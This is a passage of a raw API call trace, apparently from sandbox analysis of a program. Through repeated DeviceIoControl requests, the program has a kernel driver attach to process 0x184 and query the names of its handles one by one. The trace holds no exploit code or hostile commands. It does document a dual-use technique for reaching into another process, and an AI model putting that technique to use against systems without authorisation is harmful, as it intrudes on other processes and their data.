ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.493] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0068.493] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.494] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.494] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.494] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.494] PsAcquireProcessExitSynchronization () returned 0x0 [0068.494] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.494] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0068.494] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.494] PsReleaseProcessExitSynchronization () returned 0x2 [0068.494] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.494] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.494] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0068.494] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.494] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.494] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.494] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.494] PsAcquireProcessExitSynchronization () returned 0x0 [0068.494] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.494] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0068.494] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.494] PsReleaseProcessExitSynchronization () returned 0x2 [0068.494] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.494] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.494] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0068.494] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.494] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.494] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.494] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.494] PsAcquireProcessExitSynchronization () returned 0x0 [0068.494] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.494] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0068.494] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.495] PsReleaseProcessExitSynchronization () returned 0x2 [0068.495] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.495] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.495] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0068.495] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.495] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.495] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.495] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.495] PsAcquireProcessExitSynchronization () returned 0x0 [0068.495] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.495] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0068.495] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.495] PsReleaseProcessExitSynchronization () returned 0x2 [0068.495] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.495] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.495] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0068.495] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.495] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.495] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.495] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.495] PsAcquireProcessExitSynchronization () returned 0x0 [0068.495] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.495] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0068.495] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.495] PsReleaseProcessExitSynchronization () returned 0x2 [0068.495] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.495] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa8003971044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003971044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.495] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0068.495] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.495] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.495] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.496] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.496] PsAcquireProcessExitSynchronization () returned 0x0 [0068.496] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.496] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0068.496] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.496] PsReleaseProcessExitSynchronization () returned 0x2 [0068.496] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.496] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa8003972044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003972044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.496] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0068.496] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.496] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.496] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.496] PsAcquireProcessExitSynchronization () returned 0x0 [0068.496] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.496] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0068.496] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.496] PsReleaseProcessExitSynchronization () returned 0x2 [0068.496] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.496] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa8003973044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003973044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.496] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0068.496] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.496] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.496] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.496] PsAcquireProcessExitSynchronization () returned 0x0 [0068.496] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.496] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0068.496] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.496] PsReleaseProcessExitSynchronization () returned 0x2 [0068.497] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.497] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa8003974044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003974044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.497] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0068.497] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.497] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.497] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.497] PsAcquireProcessExitSynchronization () returned 0x0 [0068.497] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.497] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0068.497] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.497] PsReleaseProcessExitSynchronization () returned 0x2 [0068.497] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.497] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.497] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0068.497] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.497] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.497] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.497] PsAcquireProcessExitSynchronization () returned 0x0 [0068.497] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.497] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0068.497] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.497] PsReleaseProcessExitSynchronization () returned 0x2 [0068.497] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.497] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.497] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0068.497] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.497] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.498] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.498] PsAcquireProcessExitSynchronization () returned 0x0 [0068.498] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.498] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0068.498] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.498] PsReleaseProcessExitSynchronization () returned 0x2 [0068.498] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.498] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.498] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0068.498] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.498] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.498] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.498] PsAcquireProcessExitSynchronization () returned 0x0 [0068.498] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.498] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0068.498] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.498] PsReleaseProcessExitSynchronization () returned 0x2 [0068.498] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.498] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.498] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0068.498] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.498] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.498] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.498] PsAcquireProcessExitSynchronization () returned 0x0 [0068.498] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.498] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0068.498] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.498] PsReleaseProcessExitSynchronization () returned 0x2 [0068.498] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.499] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.499] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0068.499] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.499] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.499] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.499] PsAcquireProcessExitSynchronization () returned 0x0 [0068.499] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.499] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0068.499] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.499] PsReleaseProcessExitSynchronization () returned 0x2 [0068.499] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.499] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.499] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0068.499] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.499] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.499] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.499] PsAcquireProcessExitSynchronization () returned 0x0 [0068.499] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.499] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0068.499] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.499] PsReleaseProcessExitSynchronization () returned 0x2 [0068.499] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.499] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.499] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0068.499] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.499] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 